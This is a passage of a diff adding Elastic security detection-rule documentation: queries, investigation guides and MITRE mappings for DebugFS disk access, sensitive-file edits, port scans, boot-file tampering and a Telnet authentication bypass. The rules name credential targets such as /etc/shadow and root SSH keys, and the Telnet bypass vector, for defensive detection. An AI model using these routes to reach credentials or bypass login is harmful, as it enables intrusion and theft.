conjunction with "disk" permissions to read sensitive files owned by root, such as the shadow file, root ssh private keys or other sensitive files that may allow them to further escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#disk-group + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Suspicious DebugFS Root Device Access* + + +DebugFS is a Linux utility that provides a low-level interface to access and manipulate file systems, typically used for debugging purposes. It can be exploited by adversaries with "disk" group privileges to access sensitive files without root permissions, potentially leading to privilege escalation. The detection rule identifies non-root users executing DebugFS on disk devices, flagging potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user and group involved in the DebugFS execution by examining the user.Ext.real.id and group.Ext.real.id fields. +- Check the command-line arguments (process.args) to determine which specific disk device was accessed and assess if the access was legitimate or necessary for the user's role. +- Investigate the user's recent activity and login history to identify any unusual patterns or unauthorized access attempts that might indicate malicious intent. +- Verify the user's group memberships, particularly focusing on the "disk" group, to understand if the user should have such privileges and if any recent changes were made to their group assignments. +- Examine system logs and other security alerts around the time of the DebugFS execution to identify any correlated suspicious activities or potential indicators of compromise. +- Assess the system for any unauthorized changes or access to sensitive files, such as the shadow file or root SSH keys, which could indicate privilege escalation attempts. + + +*False positive analysis* + + +- Non-root system administrators or maintenance scripts may use DebugFS for legitimate disk diagnostics or recovery tasks. To handle this, identify and whitelist specific users or scripts that are known to perform these tasks regularly. +- Automated backup or monitoring tools might invoke DebugFS as part of their operations. Review and exclude these tools by adding their process identifiers or user accounts to an exception list. +- Developers or testers with disk group privileges might use DebugFS during development or testing phases. Establish a policy to document and approve such activities, and exclude these users from triggering alerts. +- Educational or training environments where DebugFS is used for learning purposes can generate false positives. Create exceptions for these environments by specifying the associated user accounts or groups. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Revoke "disk" group privileges from non-essential users to limit access to disk devices and prevent misuse of DebugFS. +- Conduct a thorough review of user accounts and group memberships to ensure only authorized personnel have "disk" group privileges. +- Check for unauthorized access to sensitive files such as the shadow file or root SSH private keys and reset credentials if necessary. +- Monitor for any additional suspicious activity on the affected system and related systems, focusing on privilege escalation attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement enhanced logging and monitoring for DebugFS usage and access to disk devices to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "debugfs" and process.args : "/dev/sd*" and not process.args == "-R" and +not user.Ext.real.id == "0" and not group.Ext.real.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-file-edit.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-file-edit.asciidoc new file mode 100644 index 0000000000..a798addb96 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-suspicious-file-edit.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-potential-suspicious-file-edit]] +=== Potential Suspicious File Edit + +This rule monitors for the potential edit of a suspicious file. In Linux, when editing a file through an editor, a temporary .swp file is created. By monitoring for the creation of this .swp file, we can detect potential file edits of suspicious files. The execution of this rule is not a clear sign of the file being edited, as just opening the file through an editor will trigger this event. Attackers may alter any of the files added in this rule to establish persistence, escalate privileges or perform reconnaisance on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Suspicious File Edit* + + +In Linux environments, text editors create temporary swap files (.swp) during file editing. Adversaries exploit this by editing critical system files to maintain persistence or escalate privileges. The detection rule identifies the creation of .swp files in sensitive directories, signaling potential unauthorized file edits, thus alerting analysts to investigate further. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name of the .swp file that triggered the alert, focusing on the directories and files listed in the query. +- Check the system logs and recent user activity to determine if there was any legitimate reason for editing the file, such as a scheduled maintenance or update. +- Investigate the user account associated with the file creation event to verify if the user has the necessary permissions and if their activity aligns with their role. +- Examine the contents of the original file (if accessible) and compare it with known baselines or backups to identify any unauthorized changes or anomalies. +- Look for other suspicious activities on the host, such as unusual login attempts, privilege escalation events, or the presence of other temporary files in sensitive directories. +- Assess the system for signs of persistence mechanisms or privilege escalation attempts, especially if the .swp file is associated with critical system files like /etc/shadow or /etc/passwd. + + +*False positive analysis* + + +- Editing non-sensitive files in monitored directories can trigger alerts. Users can create exceptions for specific directories or files that are frequently edited by authorized personnel. +- System administrators performing routine maintenance or updates may inadvertently create .swp files in sensitive directories. Implementing a whitelist for known maintenance activities can reduce false positives. +- Automated scripts or applications that open files in monitored directories for legitimate purposes can cause alerts. Identifying and excluding these processes from monitoring can help manage false positives. +- Developers working on configuration files in their home directories might trigger alerts. Excluding specific user directories or known development environments can mitigate these occurrences. +- Regular system updates or package installations might create temporary .swp files. Monitoring these activities and correlating them with update schedules can help distinguish between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the creation of the .swp files in sensitive directories to halt any ongoing malicious activity. +- Restore the affected files from a known good backup to ensure system integrity and remove any unauthorized changes. +- Conduct a thorough review of user accounts and permissions, especially those with elevated privileges, to identify and revoke any unauthorized access. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to edit critical files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Review and update system hardening measures, such as file permissions and access controls, to prevent similar incidents in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event") and file.extension == "swp" and +file.path : ( + /* common interesting files and locations */ + "/etc/.shadow.swp", "/etc/.shadow-.swp", "/etc/.shadow~.swp", "/etc/.gshadow.swp", "/etc/.gshadow-.swp", + "/etc/.passwd.swp", "/etc/.pwd.db.swp", "/etc/.master.passwd.swp", "/etc/.spwd.db.swp", "/etc/security/.opasswd.swp", + "/etc/.environment.swp", "/etc/.profile.swp", "/etc/sudoers.d/.*.swp", "/etc/ld.so.conf.d/.*.swp", + "/etc/init.d/.*.swp", "/etc/.rc.local.swp", "/etc/rc*.d/.*.swp", "/dev/shm/.*.swp", "/etc/update-motd.d/.*.swp", + "/usr/lib/update-notifier/.*.swp", + + /* service, timer, want, socket and lock files */ + "/etc/systemd/system/.*.swp", "/usr/local/lib/systemd/system/.*.swp", "/lib/systemd/system/.*.swp", + "/usr/lib/systemd/system/.*.swp","/home/*/.config/systemd/user/.*.swp", "/run/.*.swp", "/var/run/.*.swp/", + + /* profile and shell configuration files */ + "/home/*.profile.swp", "/home/*.bash_profile.swp", "/home/*.bash_login.swp", "/home/*.bashrc.swp", "/home/*.bash_logout.swp", + "/home/*.zshrc.swp", "/home/*.zlogin.swp", "/home/*.tcshrc.swp", "/home/*.kshrc.swp", "/home/*.config.fish.swp", + "/root/*.profile.swp", "/root/*.bash_profile.swp", "/root/*.bash_login.swp", "/root/*.bashrc.swp", "/root/*.bash_logout.swp", + "/root/*.zshrc.swp", "/root/*.zlogin.swp", "/root/*.tcshrc.swp", "/root/*.kshrc.swp", "/root/*.config.fish.swp" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-syn-based-port-scan-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-syn-based-port-scan-detected.asciidoc new file mode 100644 index 0000000000..c36b6a2571 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-syn-based-port-scan-detected.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-potential-syn-based-port-scan-detected]] +=== Potential SYN-Based Port Scan Detected + +This rule identifies a potential SYN-Based port scan. A SYN port scan is a technique employed by attackers to scan a target network for open ports by sending SYN packets to multiple ports and observing the response. Attackers use this method to identify potential entry points or services that may be vulnerable to exploitation, allowing them to launch targeted attacks or gain unauthorized access to the system or network, compromising its security and potentially leading to data breaches or further malicious activities. This rule defines a threshold-based approach to detect connection attempts from a single source to a large number of unique destination ports, while limiting the number of packets per port. + +*Rule type*: threshold + +*Rule indices*: + +* logs-network_traffic.* +* packetbeat-* +* filebeat-* +* logs-panw.panos* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Network +* Tactic: Discovery +* Tactic: Reconnaissance +* Use Case: Network Security Monitoring +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Threshold +* Data Source: Network Packet Capture + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SYN-Based Port Scan Detected* + + +SYN-based port scanning is a reconnaissance technique where attackers send SYN packets to multiple ports to identify open services. This method helps adversaries map network vulnerabilities for potential exploitation. The detection rule identifies such scans by flagging connection attempts from internal IPs to multiple ports with minimal packet exchange, indicating a low-risk reconnaissance activity. + + +*Possible investigation steps* + + +- Review the source IP address involved in the alert to determine if it belongs to a known or authorized device within the network. Check for any recent changes or unusual activity associated with this IP. +- Analyze the destination ports targeted by the scan to identify any patterns or specific services that may be of interest to the attacker. Determine if these ports are associated with critical or vulnerable services. +- Examine historical logs to identify any previous scanning activity from the same source IP or similar patterns of behavior. This can help establish whether the activity is part of a larger reconnaissance effort. +- Correlate the alert with other security events or alerts to assess if there is a broader attack campaign underway. Look for related alerts that might indicate subsequent exploitation attempts. +- Investigate the timing and frequency of the scan attempts to understand if they coincide with other suspicious activities or known attack windows. This can provide context on the attacker's intent and urgency. +- Assess the network's current security posture and ensure that appropriate defenses, such as firewalls and intrusion detection systems, are configured to mitigate potential exploitation of identified open ports. + + +*False positive analysis* + + +- Internal network scanning tools or scripts used by IT teams for legitimate network mapping can trigger this rule. To manage this, create exceptions for known internal IP addresses or subnets used by IT for network discovery. +- Automated monitoring systems or security appliances that perform regular port checks might be flagged. Identify these systems and exclude their IP addresses from the rule to prevent false positives. +- Software updates or patch management systems that check multiple ports for service availability can be mistaken for a SYN-based port scan. Whitelist these systems to avoid unnecessary alerts. +- Load balancers or network devices that perform health checks across multiple ports may trigger the rule. Exclude these devices from the rule to ensure accurate detection. +- Development or testing environments where multiple port scans are part of routine operations can cause false positives. Implement exceptions for these environments to maintain focus on genuine threats. + + +*Response and remediation* + + +- Isolate the affected internal IP address to prevent further reconnaissance or potential exploitation of identified open ports. +- Conduct a thorough review of firewall and network access control lists to ensure that only necessary ports are open and accessible from internal networks. +- Implement rate limiting on SYN packets to reduce the risk of successful port scanning and reconnaissance activities. +- Monitor the network for any unusual outbound traffic from the affected IP address, which may indicate further malicious activity or data exfiltration attempts. +- Escalate the incident to the security operations team for further analysis and to determine if additional network segments or systems are affected. +- Update intrusion detection and prevention systems to enhance detection capabilities for similar SYN-based port scanning activities. +- Review and update network segmentation policies to limit the exposure of critical services and systems to internal reconnaissance activities. + +==== Rule query + + +[source, js] +---------------------------------- +event.action:(network_flow or flow_started) and destination.port:* and network.packets <= 2 and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-system-tampering-via-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-system-tampering-via-file-modification.asciidoc new file mode 100644 index 0000000000..a15292c210 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-system-tampering-via-file-modification.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-potential-system-tampering-via-file-modification]] +=== Potential System Tampering via File Modification + +Identifies attempts to delete or modify critical files used during the boot process to prevent the system from booting. This may indicate a destructive attack behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential System Tampering via File Modification* + + + +*Possible investigation steps* + + +- Does the alert-local file event show modification or deletion of an active boot-critical file? + - Focus: `file.path`, `file.name`, `event.type`, `event.action`, and `process.executable`. + - Implication: escalate on deletion or active Windows System32, Windows Boot, or EFI boot paths for `winload.exe`, `winload.efi`, `ntoskrnl.exe`, or `bootmgr`; lower concern only when path normalization or surrounding file evidence shows repair content, not active boot content. +- Is the modifying process consistent with servicing, repair, recovery, or rollback? + - Focus: same-process `process.executable`, `process.command_line`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Events for the modifying process on this host","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}],[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the transform is ambiguous or empty, recover the process start with `host.id`, `process.pid`, and alert time before judging identity. + - Implication: escalate when the binary is unsigned or untrusted, runs from a user-writable or unexpected path, or uses non-servicing commands; a trusted Microsoft or vendor identity lowers concern only when behavior and lineage also fit. +- What launch chain led to the boot-file modification or deletion? + - Focus: same-host process lineage with `process.parent.executable` and `process.parent.command_line`. + - Implication: escalate when the chain includes script hosts, remote-management tooling, document launchers, or unexplained intermediaries before the write; lower concern when lineage resolves to a bounded same-host servicing or recovery workflow. +- Does the user or service context fit legitimate maintenance? + - Focus: `user.id`, `user.name`, `user.domain`, and `process.Ext.session_info.logon_type`. + - Hint: read `process.Ext.session_info.logon_type` from the same process event used for identity. + - Implication: escalate when an interactive or remote user session modifies boot files directly, or when account context does not match repair duties; if session details are unavailable, do not close on user context alone. +- Did the same process touch other boot, recovery, or protected OS files? + - Focus: same-process file telemetry on `host.id` and `process.entity_id`: `file.path`, `event.type`, `event.action`, and rename details for renames. !{investigate{"description":"","label":"File events for the modifying process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the pivot is ambiguous, constrain it with `host.id`, `process.pid`, and alert time before interpreting file spread. + - Implication: escalate when the process modifies multiple boot-related or protected files, renames content into executable extensions, or spreads outside the original target; lower concern when activity stays bounded to the exact repair set. +- Did the same process or host also inhibit recovery or show broader destructive behavior? + - Focus: surrounding process and file telemetry on `host.id`: `process.executable`, `process.command_line`, `file.path`, and `event.type` for shadow-copy, backup, boot-configuration, or WinRE changes. !{investigate{"description":"","label":"Process events on the host near the modification","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when boot-file tampering is paired with vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, or wmic activity that disables recovery, deletes backups, or damages protected paths; lower concern only when this step finds no recovery-control change, backup deletion, or protected-path spread. +- If the local findings remain suspicious or unresolved, is the pattern isolated or broader for the same host or user? + - Focus: related destructive or recovery-inhibition alerts for the same `host.id`: boot-file tampering, shadow-copy deletion, backup deletion, service disruption, or protected-file modification. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if `user.id` remains relevant, compare related destructive alerts for that user separately. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same host or user shows multiple destructive or recovery-control alerts in a short window; keep the case localized only when this is a single bounded event and local evidence resolves cleanly. + +- Escalate when file target, actor identity, lineage, session, protected-file spread, recovery-control, or related alerts point to unauthorized boot tampering; close only when evidence binds one recognized repair, recovery, servicing, or rollback workflow on this host with no contradictory spread; if mixed or incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Offline repair, OEM recovery, Windows servicing, administrator-led boot remediation, or security/backup rollback can replace boot files. Confirm `process.executable`, signer, command line, user or service context, `file.path`, and `event.type` bind to one recognized workflow, stay bounded to the expected repair set, and do not branch into script hosts, unusual parents, protected-file damage, shadow-copy deletion, backup deletion, or boot-configuration tampering. Without change records, require the same signed repair or rollback binary, service or recovery context, protected path family, and no destructive or recovery-control activity on the same `host.id`. +- Before creating an exception, anchor it on the narrowest stable pattern: `process.executable`, `process.code_signature.subject_name`, `file.path`, and the expected `user.id` or service context. Do not except on `process.name`, `file.name`, or Windows-path activity alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the repair, recovery, servicing, or rollback workflow that matched the process identity, signer, service context, and protected path set. Create an exception only after the same bounded pattern recurs. +- If suspicious but unconfirmed, preserve the alert event, process-start record, Timeline or case export for the modifying process, boot-file metadata or available copies, recovered binary identity, lineage/session evidence, and any recovery-control or protected-file findings before containment or cleanup. +- If suspicious but unconfirmed and the host is still online, avoid reboot until boot-file evidence is preserved. Apply reversible containment tied to the findings, such as blocking the remote administration path, disabling the active account session, or isolating the host if protected-file modification or recovery inhibition continues. Weigh host criticality before isolation. +- If confirmed malicious, isolate the host through endpoint response when boot-file tampering, actor identity, lineage, or recovery-control evidence establishes unauthorized activity. Terminate the offending process only after preserving its entity ID, command line, affected path list, and recovered hashes. If direct response is unavailable, hand off the same evidence to the team that can isolate the host or disk. +- Review related hosts and users for the same destructive pattern before restoring files so scoping finishes before evidence is destroyed. +- Restore affected boot files only from trusted media, golden images, or known-good backups after destructive scope is understood, then repair any WinRE, shadow-copy, backup, or boot-configuration controls the attacker disabled. +- Post-incident hardening: retain file and process telemetry for protected boot paths, restrict who can run repair tooling on critical systems, protect backups from the same account path, and record adjacent destructive behaviors in the case notes. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type in ("change", "deletion") and + file.name : ("winload.exe", "winload.efi", "ntoskrnl.exe", "bootmgr") and + file.path : ("?:\\Windows\\*", "\\Device\\HarddiskVolume*\\Windows\\*") and + not process.executable : ( + "?:\\Windows\\System32\\poqexec.exe", + "?:\\Windows\\System32\\wbengine.exe", + "?:\\Windows\\WinSxS\\???64_microsoft-windows-servicingstack_*\\tiworker.exe" + ) and + not file.path : ( + "?:\\Windows\\WinSxS\\Temp\\InFlight\\*", + "?:\\Windows\\SoftwareDistribution\\Download*", + "?:\\Windows\\WinSxS\\amd64_microsoft-windows*", + "?:\\Windows\\SystemTemp\\*", + "?:\\Windows\\Temp\\????????.???\\*", + "?:\\Windows\\Temp\\*\\amd64_microsoft-windows-*", + "\\Device\\HarddiskVolume*\\Windows\\SoftwareDistribution\\Download*", + "?:\\Windows\\Temp\\BootImages\\{*}\\mount\\Windows\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc new file mode 100644 index 0000000000..b6cb97f443 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-potential-telnet-authentication-bypass-cve-2026-24061]] +=== Potential Telnet Authentication Bypass (CVE-2026-24061) + +Identifies potential exploitation of a Telnet remote authentication bypass vulnerability (CVE-2026-24061) in GNU Inetutils telnetd. The vulnerability allows unauthenticated access by supplying a crafted `-f ` value via the `USER` environment variable, resulting in a login process spawned with elevated privileges. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m 